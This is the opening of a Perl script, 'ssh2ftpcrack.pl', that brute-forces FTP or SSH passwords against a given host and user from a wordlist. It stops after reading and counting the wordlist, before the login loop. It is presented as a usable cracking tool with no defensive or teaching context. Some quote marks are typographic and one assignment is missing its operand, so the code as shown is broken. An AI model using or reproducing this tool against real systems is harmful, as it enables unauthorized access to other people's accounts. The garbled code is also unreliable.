#!/usr/bin/env perl use Net::FTP; use Net::SSH2; $type = $ARGV[0]; $wordlist = $ARGV[3]; if (!$ARGV[0] || !$ARGV[1] || !$ARGV[2] || !$ARGV[3]) { die “USAGE\nperl ssh2ftpcrack.pl [ftp or ssh] [user] [host] [wordlist]\n”; } die “File not found :$!\n” unless open WORDLIST, “< “, $wordlist; chomp(@palabras = ); close WORDLIST; $rpalabras = \@palabras; $numdepalabras = 0; $numdepalabras++ foreach [...]